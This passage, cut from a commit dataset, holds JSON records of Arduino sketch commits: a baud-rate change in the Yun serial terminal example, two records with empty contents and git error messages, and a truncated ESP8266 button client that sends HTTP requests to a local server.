YunSerialTerminal\n","repos":"smily77\/Arduino,kidswong999\/Arduino,mattvenn\/Arduino,eggfly\/arduino,acosinwork\/Arduino,kidswong999\/Arduino,drpjk\/Arduino,koltegirish\/Arduino,laylthe\/Arduino,snargledorf\/Arduino,leftbrainstrain\/Arduino-ESP8266,OpenDevice\/Arduino,adafruit\/ESP8266-Arduino,spapadim\/Arduino,raimohanska\/Arduino,ricklon\/Arduino,arduino-org\/Arduino,laylthe\/Arduino,me-no-dev\/Arduino-1,paulmand3l\/Arduino,danielchalef\/Arduino,plaintea\/esp8266-Arduino,mateuszdw\/Arduino,ikbelkirasan\/Arduino,andyvand\/Arduino-1,jmgonzalez00449\/Arduino,bigjosh\/Arduino,EmuxEvans\/Arduino,bigjosh\/Arduino,tomkrus007\/Arduino,NaSymbol\/Arduino,superboonie\/Arduino,ForestNymph\/Arduino_sources,drpjk\/Arduino,arunkuttiyara\/Arduino,adamkh\/Arduino,zederson\/Arduino,damellis\/Arduino,shannonshsu\/Arduino,nandojve\/Arduino,SmartArduino\/Arduino-1,fungxu\/Arduino,lulufei\/Arduino,zaiexx\/Arduino,arunkuttiyara\/Arduino,mboufos\/esp8266-Arduino,ashwin713\/Arduino,chaveiro\/Arduino,NeuralSpaz\/Arduino,wdoganowski\/Arduino,shannonshsu\/Arduino,ogferreiro\/Arduino,nandojve\/Arduino,onovy\/Arduino,steamboating\/Arduino,andyvand\/Arduino-1,Alfredynho\/AgroSis,scdls\/Arduino,jaimemaretoli\/Arduino,danielchalef\/Arduino,ogferreiro\/Arduino,radut\/Arduino,andrealmeidadomingues\/Arduino,karlitxo\/Arduino,probonopd\/Arduino,snargledorf\/Arduino,ssvs111\/Arduino,eggfly\/arduino,ektor5\/Arduino,mc-hamster\/esp8266-Arduino,andyvand\/Arduino-1,laylthe\/Arduino,bigjosh\/Arduino,benwolfe\/esp8266-Arduino,henningpohl\/Arduino,jamesrob4\/Arduino,Cloudino\/Arduino,tskurauskas\/Arduino,danielchalef\/Arduino,kidswong999\/Arduino,ikbelkirasan\/Arduino,mateuszdw\/Arduino,steamboating\/Arduino,NaSymbol\/Arduino,bsmr-arduino\/Arduino,me-no-dev\/Arduino-1,eddyst\/Arduino-SourceCode,gberl001\/Arduino,nandojve\/Arduino,wayoda\/Arduino,damellis\/Arduino,Gourav2906\/Arduino,chaveiro\/Arduino,mboufos\/esp8266-Arduino,laylthe\/Arduino,jaimemaretoli\/Arduino,pdNor\/Arduino,gurbrinder\/Arduino,andrealmeidadomingues\/Arduino,steamboating\/Arduino,raimohanska\/Arduino,xxxajk\/Arduino-1,ashwin713\/Arduino,radut\/Arduino,danielchalef\/Arduino,UDOOboard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eddyst\/Arduino-SourceCode,ForestNymph\/Arduino_sources,PeterVH\/Arduino,stevemayhew\/Arduino,UDOOboard\/Arduino,laylthe\/Arduino,tbowmo\/Arduino,Protoneer\/Arduino,mboufos\/esp8266-Arduino,myrtleTree33\/Arduino,aichi\/Arduino-2,gestrem\/Arduino,eddyst\/Arduino-SourceCode,Chris--A\/Arduino,ashwin713\/Arduino,fungxu\/Arduino,EmuxEvans\/Arduino,tskurauskas\/Arduino,chaveiro\/Arduino,ogahara\/Arduino,UDOOboard\/Arduino,vbextreme\/Arduino,wayoda\/Arduino,leftbrainstrain\/Arduino-ESP8266,damellis\/Arduino,gonium\/Arduino,jaehong\/Xmegaduino,tomkrus007\/Arduino,henningpohl\/Arduino,zaiexx\/Arduino,acosinwork\/Arduino,stevemayhew\/Arduino,jomolinare\/Arduino,HCastano\/Arduino,PaoloP74\/Arduino,majenkotech\/Arduino,jaej-dev\/Arduino,xxxajk\/Arduino-1,talhaburak\/Arduino,bigjosh\/Arduino,jabezGit\/Arduino,stevemayhew\/Arduino,eggfly\/arduino,tskurauskas\/Arduino,koltegirish\/Arduino,ricklon\/Arduino,tannewt\/Arduino,ccoenen\/Arduino,jaimemaretoli\/Arduino,gestrem\/Arduino,ssvs111\/Arduino,paulo-raca\/ESP8266-Arduino,piersoft\/esp8266-Arduino,NicoHood\/Arduino,UDOOboard\/Arduino,adamkh\/Arduino,myrtleTree33\/Arduino,nandojve\/Arduino,mangelajo\/Arduino,mc-hamster\/esp8266-Arduino,weera00\/Arduino,gberl001\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,garci66\/Arduino,wilhelmryan\/Arduino,sanyaade-iot\/Arduino-1,ari-analytics\/Arduino,PaoloP74\/Arduino,Cloudino\/Cloudino-Arduino-IDE,steamboating\/Arduino,mc-hamster\/esp8266-Arduino,tskurauskas\/Arduino,arunkuttiyara\/Arduino,PeterVH\/Arduino,jmgonzalez00449\/Arduino,jaej-dev\/Arduino,bsmr-arduino\/Arduino,fungxu\/Arduino,NaSymbol\/Arduino,wdoganowski\/Arduino,jamesrob4\/Arduino,xxxajk\/Arduino-1,mattvenn\/Arduino,Chris--A\/Arduino,shannonshsu\/Arduino,stickbreaker\/Arduino,superboonie\/Arduino,nkolban\/Arduino,NicoHood\/Arduino,acosinwork\/Arduino,stevemayhew\/Arduino,talhaburak\/Arduino,steamboating\/Arduino,tannewt\/Arduino,gurbrinder\/Arduino,sanyaade-iot\/Arduino-1,mboufos\/esp8266-Arduino,koltegirish\/Arduino,UDOOboard\/Arduino,ccoenen\/Arduino,damellis\/Arduino,eduardocasarin\/Arduino,adamkh\/Arduino,gberl001\/Arduino,weera00\/Arduino,eduardocasarin\/Arduino,eduardocasarin\/Arduino,cscenter\/Arduino,radut\/Arduino,danielchalef\/Arduino,henningpohl\/Arduino,jaej-dev\/Arduino,NicoHood\/Arduino,ogferreiro\/Arduino,piersoft\/esp8266-Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,mattvenn\/Arduino,leftbrainstrain\/Arduino-ESP8266,aichi\/Arduino-2,pdNor\/Arduino,wilhelmryan\/Arduino,toddtreece\/esp8266-Arduino,pdNor\/Arduino,arduino-org\/Arduino,ogferreiro\/Arduino,andyvand\/Arduino-1,acosinwork\/Arduino,majenkotech\/Arduino,zenmanenergy\/Arduino,KlaasDeNys\/Arduino,PaoloP74\/Arduino,paulmand3l\/Arduino,steamboating\/Arduino,ogahara\/Arduino,ogferreiro\/Arduino,Chris--A\/Arduino,jamesrob4\/Arduino,snargledorf\/Arduino,EmuxEvans\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ikbelkirasan\/Arduino,radut\/Arduino,cscenter\/Arduino,PeterVH\/Arduino,wdoganowski\/Arduino,sanyaade-iot\/Arduino-1,zaiexx\/Arduino,superboonie\/Arduino,arduino-org\/Arduino,jomolinare\/Arduino,jaehong\/Xmegaduino,pdNor\/Arduino,probonopd\/Arduino,scdls\/Arduino,Cloudino\/Arduino,onovy\/Arduino,jamesrob4\/Arduino,arduino-org\/Arduino,myrtleTree33\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gberl001\/Arduino,plinioseniore\/Arduino,paulmand3l\/Arduino,PeterVH\/Arduino,raimohanska\/Arduino,ikbelkirasan\/Arduino,paulo-raca\/ESP8266-Arduino,Chris--A\/Arduino,eggfly\/arduino,ccoenen\/Arduino,aichi\/Arduino-2,zederson\/Arduino,gurbrinder\/Arduino,radut\/Arduino,zenmanenergy\/Arduino,ikbelkirasan\/Arduino,ntruchsess\/Arduino-1,stickbreaker\/Arduino,leftbrainstrain\/Arduino-ESP8266,ashwin713\/Arduino,Protoneer\/Arduino,Gourav2906\/Arduino,me-no-dev\/Arduino-1,xxxajk\/Arduino-1,vbextreme\/Arduino,noahchense\/Arduino-1,fungxu\/Arduino,nkolban\/Arduino,plinioseniore\/Arduino,niggor\/Arduino_cc,jabezGit\/Arduino,kidswong999\/Arduino,mateuszdw\/Arduino,smily77\/Arduino,ForestNymph\/Arduino_sources,acosinwork\/Arduino,byran\/Arduino,Alfredynho\/AgroSis,ektor5\/Arduino,vbextreme\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,wdoganowski\/Arduino,scdls\/Arduino,byran\/Arduino,NaSymbol\/Arduino,Protoneer\/Arduino,snargledorf\/Arduino,ricklon\/Arduino,HCastano\/Arduino,EmuxEvans\/Arduino,smily77\/Arduino,tommyli2014\/Arduino,SmartArduino\/Arduino-1,andrealmeidadomingues\/Arduino,mangelajo\/Arduino,ccoenen\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tommyli2014\/Arduino,adamkh\/Arduino,stevemarple\/Arduino-org,plaintea\/esp8266-Arduino,EmuxEvans\/Arduino,bsmr-arduino\/Arduino,majenkotech\/Arduino,wdoganowski\/Arduino,zenmanenergy\/Arduino,UDOOboard\/Arduino,Gourav2906\/Arduino,bsmr-arduino\/Arduino,toddtreece\/esp8266-Arduino,eduardocasarin\/Arduino,nandojve\/Arduino,andyvand\/Arduino-1,zenmanenergy\/Arduino,lulufei\/Arduino,ntruchsess\/Arduino-1,Gourav2906\/Arduino,plaintea\/esp8266-Arduino,ogferreiro\/Arduino,jmgonzalez00449\/Arduino,plinioseniore\/Arduino,spapadim\/Arduino,xxxajk\/Arduino-1,cscenter\/Arduino,gurbrinder\/Arduino,superboonie\/Arduino,jomolinare\/Arduino,Alfredynho\/AgroSis,NaSymbol\/Arduino,stevemarple\/Arduino-org,EmuxEvans\/Arduino,niggor\/Arduino_cc,jamesrob4\/Arduino,tskurauskas\/Arduino,nandojve\/Arduino,stevemayhew\/Arduino,rcook\/DesignLab,stevemarple\/Arduino-org,ThoughtWorksIoTGurgaon\/Arduino,ashwin713\/Arduino,paulo-raca\/ESP8266-Arduino,scdls\/Arduino,onovy\/Arduino,zederson\/Arduino,jaimemaretoli\/Arduino,stevemarple\/Arduino-org,shiitakeo\/Arduino,me-no-dev\/Arduino-1,weera00\/Arduino,majenkotech\/Arduino,mattvenn\/Arduino,zederson\/Arduino,raimohanska\/Arduino,mateuszdw\/Arduino,stevemarple\/Arduino-org,wayoda\/Arduino,lulufei\/Arduino,lukeWal\/Arduino,ogferreiro\/Arduino,benwolfe\/esp8266-Arduino,talhaburak\/Arduino,mangelajo\/Arduino,arduino-org\/Arduino,pdNor\/Arduino,plinioseniore\/Arduino,mboufos\/esp8266-Arduino,KlaasDeNys\/Arduino,cscenter\/Arduino,benwolfe\/esp8266-Arduino,raimohanska\/Arduino,majenkotech\/Arduino,mateuszdw\/Arduino,vbextreme\/Arduino,zenmanenergy\/Arduino,tomkrus007\/Arduino,Cloudino\/Cloudino-Arduino-IDE,superboonie\/Arduino,jomolinare\/Arduino,drpjk\/Arduino,wayoda\/Arduino,drpjk\/Arduino,NeuralSpaz\/Arduino,ntruchsess\/Arduino-1,SmartArduino\/Arduino-1,UDOOboard\/Arduino,fungxu\/Arduino,acosinwork\/Arduino,niggor\/Arduino_cc,Alfredynho\/AgroSis,eddyst\/Arduino-SourceCode,talhaburak\/Arduino,rcook\/DesignLab,eggfly\/arduino,henningpohl\/Arduino,byran\/Arduino,mateuszdw\/Arduino,chaveiro\/Arduino,ektor5\/Arduino,cscenter\/Arduino,garci66\/Arduino,eeijcea\/Arduino-1,probonopd\/Arduino,danielchalef\/Arduino,probonopd\/Arduino,ntruchsess\/Arduino-1,rcook\/DesignLab,tbowmo\/Arduino,noahchense\/Arduino-1,jaej-dev\/Arduino,jmgonzalez00449\/Arduino,Cloudino\/Arduino,acosinwork\/Arduino,paulmand3l\/Arduino,paulo-raca\/ESP8266-Arduino,eduardocasarin\/Arduino,mc-hamster\/esp8266-Arduino,shiitakeo\/Arduino,Gourav2906\/Arduino,SmartArduino\/Arduino-1,lukeWal\/Arduino,KlaasDeNys\/Arduino,drpjk\/Arduino,rcook\/DesignLab,ThoughtWorksIoTGurgaon\/Arduino,ntruchsess\/Arduino-1,laylthe\/Arduino,tskurauskas\/Arduino,raimohanska\/Arduino,arduino-org\/Arduino,gestrem\/Arduino,nkolban\/Arduino,plaintea\/esp8266-Arduino,Gourav2906\/Arduino,shannonshsu\/Arduino,HCastano\/Arduino,gberl001\/Arduino,PaoloP74\/Arduino,HCastano\/Arduino,karlitxo\/Arduino,niggor\/Arduino_cc,PaoloP74\/Arduino,bsmr-arduino\/Arduino,niggor\/Arduino_cc,stevemayhew\/Arduino,tannewt\/Arduino,spapadim\/Arduino,me-no-dev\/Arduino-1,jaimemaretoli\/Arduino,Cloudino\/Arduino,ektor5\/Arduino,shannonshsu\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,damellis\/Arduino,nkolban\/Arduino,scdls\/Arduino,eeijcea\/Arduino-1,onovy\/Arduino,gonium\/Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,garci66\/Arduino,spapadim\/Arduino,tommyli2014\/Arduino,tbowmo\/Arduino,NaSymbol\/Arduino,ssvs111\/Arduino,zaiexx\/Arduino,eddyst\/Arduino-SourceCode,shannonshsu\/Arduino,jomolinare\/Arduino,karlitxo\/Arduino,jomolinare\/Arduino,jaehong\/Xmegaduino,eeijcea\/Arduino-1,KlaasDeNys\/Arduino,plinioseniore\/Arduino,acosinwork\/Arduino,tbowmo\/Arduino,tomkrus007\/Arduino,tommyli2014\/Arduino,eddyst\/Arduino-SourceCode,chaveiro\/Arduino,vbextreme\/Arduino,byran\/Arduino,tbowmo\/Arduino,talhaburak\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ari-analytics\/Arduino,jamesrob4\/Arduino,jabezGit\/Arduino,wayoda\/Arduino,andrealmeidadomingues\/Arduino,NaSymbol\/Arduino,garci66\/Arduino,PaoloP74\/Arduino,piersoft\/esp8266-Arduino,onovy\/Arduino,jaehong\/Xmegaduino,ForestNymph\/Arduino_sources,chaveiro\/Arduino,xxxajk\/Arduino-1,ari-analytics\/Arduino,arduino-org\/Arduino,jaehong\/Xmegaduino,superboonie\/Arduino,KlaasDeNys\/Arduino,jaimemaretoli\/Arduino,noahchense\/Arduino-1,byran\/Arduino,lulufei\/Arduino,arunkuttiyara\/Arduino,eeijcea\/Arduino-1,tomkrus007\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,radut\/Arduino,noahchense\/Arduino-1,gestrem\/Arduino,smily77\/Arduino,ari-analytics\/Arduino,eeijcea\/Arduino-1,shannonshsu\/Arduino,tommyli2014\/Arduino,bsmr-arduino\/Arduino,sanyaade-iot\/Arduino-1,karlitxo\/Arduino,PaoloP74\/Arduino,byran\/Arduino,mattvenn\/Arduino,laylthe\/Arduino,HCastano\/Arduino,ricklon\/Arduino,OpenDevice\/Arduino,zederson\/Arduino,jomolinare\/Arduino,stickbreaker\/Arduino,wayoda\/Arduino,adamkh\/Arduino,leftbrainstrain\/Arduino-ESP8266,bigjosh\/Arduino,rcook\/DesignLab,danielchalef\/Arduino,kidswong999\/Arduino,tskurauskas\/Arduino,jmgonzalez00449\/Arduino,adafruit\/ESP8266-Arduino,Protoneer\/Arduino,arunkuttiyara\/Arduino,OpenDevice\/Arduino,lukeWal\/Arduino,pdNor\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,spapadim\/Arduino,kidswong999\/Arduino,raimohanska\/Arduino,jabezGit\/Arduino,lulufei\/Arduino,gberl001\/Arduino,plinioseniore\/Arduino,nkolban\/Arduino,ogahara\/Arduino,NicoHood\/Arduino,tannewt\/Arduino,jaej-dev\/Arduino,nandojve\/Arduino,nkolban\/Arduino,OpenDevice\/Arduino,arunkuttiyara\/Arduino,Alfredynho\/AgroSis,tbowmo\/Arduino,shiitakeo\/Arduino,KlaasDeNys\/Arduino,wilhelmryan\/Arduino,pdNor\/Arduino,plaintea\/esp8266-Arduino,Cloudino\/Arduino,bigjosh\/Arduino,mattvenn\/Arduino,gberl001\/Arduino,shiitakeo\/Arduino,scdls\/Arduino,paulo-raca\/ESP8266-Arduino,eeijcea\/Arduino-1,stevemarple\/Arduino-org,Protoneer\/Arduino,mangelajo\/Arduino,jabezGit\/Arduino,jabezGit\/Arduino,ogahara\/Arduino,piersoft\/esp8266-Arduino,nkolban\/Arduino,pdNor\/Arduino,tannewt\/Arduino,NeuralSpaz\/Arduino,wilhelmryan\/Arduino,gonium\/Arduino,ricklon\/Arduino,byran\/Arduino,ashwin713\/Arduino,KlaasDeNys\/Arduino,ashwin713\/Arduino,henningpohl\/Arduino,benwolfe\/esp8266-Arduino,tannewt\/Arduino,weera00\/Arduino,majenkotech\/Arduino,stevemarple\/Arduino-org,andyvand\/Arduino-1,damellis\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,noahchense\/Arduino-1,Alfredynho\/AgroSis,stickbreaker\/Arduino,PeterVH\/Arduino,tbowmo\/Arduino,lulufei\/Arduino,EmuxEvans\/Arduino,wilhelmryan\/Arduino,sanyaade-iot\/Arduino-1,lukeWal\/Arduino,garci66\/Arduino,jaehong\/Xmegaduino,aichi\/Arduino-2,mangelajo\/Arduino,henningpohl\/Arduino,shiitakeo\/Arduino,SmartArduino\/Arduino-1,wayoda\/Arduino,KlaasDeNys\/Arduino,gonium\/Arduino,SmartArduino\/Arduino-1,onovy\/Arduino,bigjosh\/Arduino,aichi\/Arduino-2,HCastano\/Arduino,jmgonzalez00449\/Arduino,karlitxo\/Arduino,leftbrainstrain\/Arduino-ESP8266,ogahara\/Arduino,paulmand3l\/Arduino,byran\/Arduino,ssvs111\/Arduino,aichi\/Arduino-2,wilhelmryan\/Arduino,tbowmo\/Arduino,SmartArduino\/Arduino-1,spapadim\/Arduino,drpjk\/Arduino,zederson\/Arduino,cscenter\/Arduino,chaveiro\/Arduino,jaimemaretoli\/Arduino,OpenDevice\/Arduino,ccoenen\/Arduino,smily77\/Arduino,tskurauskas\/Arduino,ricklon\/Arduino,ari-analytics\/Arduino,ashwin713\/Arduino,leftbrainstrain\/Arduino-ESP8266,adafruit\/ESP8266-Arduino,talhaburak\/Arduino,ssvs111\/Arduino,plinioseniore\/Arduino,jamesrob4\/Arduino,paulmand3l\/Arduino,NaSymbol\/Arduino,NicoHood\/Arduino,Protoneer\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,ntruchsess\/Arduino-1,probonopd\/Arduino,eduardocasarin\/Arduino,eggfly\/arduino,NeuralSpaz\/Arduino,wilhelmryan\/Arduino,mangelajo\/Arduino,lukeWal\/Arduino,jabezGit\/Arduino,ForestNymph\/Arduino_sources,zaiexx\/Arduino,adafruit\/ESP8266-Arduino,myrtleTree33\/Arduino,eduardocasarin\/Arduino,mangelajo\/Arduino,rcook\/DesignLab,koltegirish\/Arduino,myrtleTree33\/Arduino,sanyaade-iot\/Arduino-1,ektor5\/Arduino,Chris--A\/Arduino,ektor5\/Arduino,arunkuttiyara\/Arduino,ssvs111\/Arduino,onovy\/Arduino,adamkh\/Arduino,ari-analytics\/Arduino,fungxu\/Arduino,jmgonzalez00449\/Arduino,gurbrinder\/Arduino,zenmanenergy\/Arduino,smily77\/Arduino,jaehong\/Xmegaduino,jaej-dev\/Arduino,tannewt\/Arduino,gonium\/Arduino,snargledorf\/Arduino,zederson\/Arduino,adamkh\/Arduino,niggor\/Arduino_cc,Protoneer\/Arduino,adamkh\/Arduino,talhaburak\/Arduino,andrealmeidadomingues\/Arduino,myrtleTree33\/Arduino,wayoda\/Arduino,Cloudino\/Arduino,OpenDevice\/Arduino,me-no-dev\/Arduino-1,zaiexx\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,kidswong999\/Arduino,noahchense\/Arduino-1,stickbreaker\/Arduino,superboonie\/Arduino,toddtreece\/esp8266-Arduino,majenkotech\/Arduino,spapadim\/Arduino,ikbelkirasan\/Arduino,Gourav2906\/Arduino,shannonshsu\/Arduino,karlitxo\/Arduino,HCastano\/Arduino,OpenDevice\/Arduino,cscenter\/Arduino,garci66\/Arduino,bsmr-arduino\/Arduino,ntruchsess\/Arduino-1,PeterVH\/Arduino,mattvenn\/Arduino,ricklon\/Arduino,gurbrinder\/Arduino,gestrem\/Arduino,koltegirish\/Arduino,eddyst\/Arduino-SourceCode,garci66\/Arduino,benwolfe\/esp8266-Arduino,cscenter\/Arduino,wdoganowski\/Arduino,snargledorf\/Arduino,niggor\/Arduino_cc,jaimemaretoli\/Arduino,me-no-dev\/Arduino-1,ntruchsess\/Arduino-1,wdoganowski\/Arduino,ogahara\/Arduino,gurbrinder\/Arduino,arduino-org\/Arduino,ForestNymph\/Arduino_sources,koltegirish\/Arduino,mateuszdw\/Arduino,Chris--A\/Arduino,Cloudino\/Arduino,zaiexx\/Arduino,kidswong999\/Arduino,paulmand3l\/Arduino,jabezGit\/Arduino,HCastano\/Arduino,myrtleTree33\/Arduino,henningpohl\/Arduino,vbextreme\/Arduino,vbextreme\/Arduino,jmgonzalez00449\/Arduino,aichi\/Arduino-2,tommyli2014\/Arduino,sanyaade-iot\/Arduino-1,ccoenen\/Arduino,koltegirish\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ForestNymph\/Arduino_sources,ssvs111\/Arduino,mc-hamster\/esp8266-Arduino,tomkrus007\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NeuralSpaz\/Arduino,NeuralSpaz\/Arduino,gestrem\/Arduino,andrealmeidadomingues\/Arduino,andrealmeidadomingues\/Arduino,jaej-dev\/Arduino,snargledorf\/Arduino,ikbelkirasan\/Arduino,chaveiro\/Arduino,talhaburak\/Arduino,damellis\/Arduino,stickbreaker\/Arduino,eeijcea\/Arduino-1,probonopd\/Arduino,zenmanenergy\/Arduino,bigjosh\/Arduino,ccoenen\/Arduino,piersoft\/esp8266-Arduino,NeuralSpaz\/Arduino,shiitakeo\/Arduino,Gourav2906\/Arduino,tommyli2014\/Arduino,lukeWal\/Arduino,Alfredynho\/AgroSis,scdls\/Arduino,eddyst\/Arduino-SourceCode,stickbreaker\/Arduino,vbextreme\/Arduino,tomkrus007\/Arduino,andyvand\/Arduino-1,radut\/Arduino,PeterVH\/Arduino,lulufei\/Arduino,steamboating\/Arduino,karlitxo\/Arduino,stevemayhew\/Arduino,Chris--A\/Arduino,ccoenen\/Arduino,ari-analytics\/Arduino,xxxajk\/Arduino-1,ari-analytics\/Arduino,weera00\/Arduino,lukeWal\/Arduino,zaiexx\/Arduino,rcook\/DesignLab,ikbelkirasan\/Arduino,garci66\/Arduino,gonium\/Arduino,xxxajk\/Arduino-1,superboonie\/Arduino,NicoHood\/Arduino,fungxu\/Arduino,henningpohl\/Arduino,stevemarple\/Arduino-org,smily77\/Arduino,gonium\/Arduino,PaoloP74\/Arduino,eggfly\/arduino,shiitakeo\/Arduino,NicoHood\/Arduino,drpjk\/Arduino,lukeWal\/Arduino,probonopd\/Arduino,eggfly\/arduino,Cloudino\/Cloudino-Arduino-IDE,gestrem\/Arduino,tomkrus007\/Arduino,niggor\/Arduino_cc,adafruit\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,stevemayhew\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/YunSerialTerminal\/YunSerialTerminal.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/YunSerialTerminal\/YunSerialTerminal.ino","new_contents":"\n\/*\n Arduino Yun USB-to-Serial\n \n Allows you to use the Yun's 32U4 processor as a\n serial terminal for the linino processor\n \n Upload this to an Arduino Yun via serial (not WiFi) \n then open the serial monitor at 115200 to see the boot process\n of the linino processor. You can also use the serial monitor\n as a basic command line interface for the linino processor using \n this sketch.\n \n The circuit:\n * Arduino Yun\n \n created March 2013\n by Massimo Banzi\n \n This example code is in the public domain.\n *\/\n\nlong baud = 9600;\n\n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\nint ledState = HIGH; \/\/ whether the LED is high or low \n\n\nvoid setup() {\n Serial.begin(baud); \/\/ open serial connection to Linino\n Serial1.begin(baud); \/\/ open serial connection via USB-Serial\n Serial.println(\"Prova\"); \/\/ Hello USB\n Serial1.println(\"Prova1\"); \/\/ Hello Linino\n\n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n digitalWrite(led, ledState); \/\/ turn the LED on (HIGH is the voltage level)\n}\n\n\nvoid loop() {\n\n \/\/ copy from virtual serial line to uart and vice versa\n if (Serial.available()) { \/\/ got anything from USB-Serial?\n char c = (char)Serial.read(); \/\/ read from USB-serial\n Serial1.write(c); \/\/ write to Linino\n ledState=!ledState; \/\/ invert LED state\n digitalWrite(led, ledState); \/\/ toggle the LED\n }\n if (Serial1.available()) { \/\/ got anything from Linino? \n char c = (char)Serial1.read(); \/\/ read from Linino \n Serial.write(c); \/\/ write to USB-serial\n }\n}\n\n\n\n\n\n","old_contents":"\n\/*\n Arduino Yun USB-to-Serial\n \n Allows you to use the Yun's 32U4 processor as a\n serial terminal for the linino processor\n \n Upload this to an Arduino Yun via serial (not WiFi) \n then open the serial monitor at 115200 to see the boot process\n of the linino processor. You can also use the serial monitor\n as a basic command line interface for the linino processor using \n this sketch.\n \n The circuit:\n * Arduino Yun\n \n created March 2013\n by Massimo Banzi\n \n This example code is in the public domain.\n *\/\n\nlong baud = 115200;\n\n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\nint ledState = HIGH; \/\/ whether the LED is high or low \n\n\nvoid setup() {\n Serial.begin(baud); \/\/ open serial connection to Linino\n Serial1.begin(baud); \/\/ open serial connection via USB-Serial\n Serial.println(\"Prova\"); \/\/ Hello USB\n Serial1.println(\"Prova1\"); \/\/ Hello Linino\n\n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n digitalWrite(led, ledState); \/\/ turn the LED on (HIGH is the voltage level)\n}\n\n\nvoid loop() {\n\n \/\/ copy from virtual serial line to uart and vice versa\n if (Serial.available()) { \/\/ got anything from USB-Serial?\n char c = (char)Serial.read(); \/\/ read from USB-serial\n Serial1.write(c); \/\/ write to Linino\n ledState=!ledState; \/\/ invert LED state\n digitalWrite(led, ledState); \/\/ toggle the LED\n }\n if (Serial1.available()) { \/\/ got anything from Linino? \n char c = (char)Serial1.read(); \/\/ read from Linino \n Serial.write(c); \/\/ write to USB-serial\n }\n}\n\n\n\n\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"08c0b1f207a310735ad13e024049e0d8174bf653","subject":"Updated programmer name","message":"Updated programmer name\n","repos":"ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/Snake\/Snake.ino","new_file":"Arduino code\/Snake\/Snake.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/Snake\/Snake.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"18a2a3cad3357dd2804bc0f07e34d419c06dc300","subject":"clean \/ format code","message":"clean \/ format code\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"caef6531d66a21eacfecaa769e14fe966747c48d","subject":"ESP8266 switch client commit","message":"ESP8266 switch client commit\n","repos":"kdsolo\/project_haiku.iot,kdsolo\/project_haiku.iot,kdsolo\/project_haiku.iot,kdsolo\/project_haiku.iot,kdsolo\/project_haiku.iot,kdsolo\/project_haiku.iot,kdsolo\/project_haiku.iot","old_file":"ESP8266\/Client-Server\/ESP8266_Switch_Client\/ESP8266_Switch_Client.ino","new_file":"ESP8266\/Client-Server\/ESP8266_Switch_Client\/ESP8266_Switch_Client.ino","new_contents":"\/\/ Include the ESP8266 WiFi library. (Works a lot like the\n\/\/ Arduino WiFi library.)\n#include <ESP8266WiFi.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst char *WiFiSSID = \"ESP8266\";\nconst char *WiFiPSK = \"sparkfun\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Pin Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int LED_PIN = 5; \/\/ Thing's onboard, green LED\nconst int button1Pin = 4; \/\/ pushbutton 1 pin\nconst int button2Pin = 0; \/\/ pushbutton 1 pin\n\nIPAddress host(192,168,4,1);\n\nvoid setup() \n{\n initHardware();\n connectWiFi();\n digitalWrite(LED_PIN, HIGH);\n}\n\nvoid loop() \n{\n handleButtonPress();\n}\n\nvoid handleButtonPress() {\n int button1State = 1, button2State = 1;\n \n button1State = digitalRead(button1Pin); \/\/ read input value\n button2State = digitalRead(button2Pin);\n\n if (button1State == LOW) \/\/ if we're pushing button 1 \n {\n Serial.println(\"LED ON\");\n postToServer(\"0\");\n }\n else if (button2State == LOW) \/\/ if we're pushing button 2 \n {\n Serial.println(\"LED OFF\");\n postToServer(\"1\");\n }\n\n}\n\nvoid postToServer(String state) {\n \/\/ Now connect to server, and post our data:\n WiFiClient client;\n const int httpPort = 80;\n \n if (!client.connect(host, httpPort)) \n {\n \/\/ If we fail to connect, return.\n Serial.println(\"connection failed\");\n return;\n }\n \n client.print(String(\"GET \/led\/\" + state + \" HTTP\/1.1\\r\\n\") +\n \"Host: \" + host + \"\\r\\n\" +\n \"Connection: close\\r\\n\\r\\n\");\n delay(10); \n \n 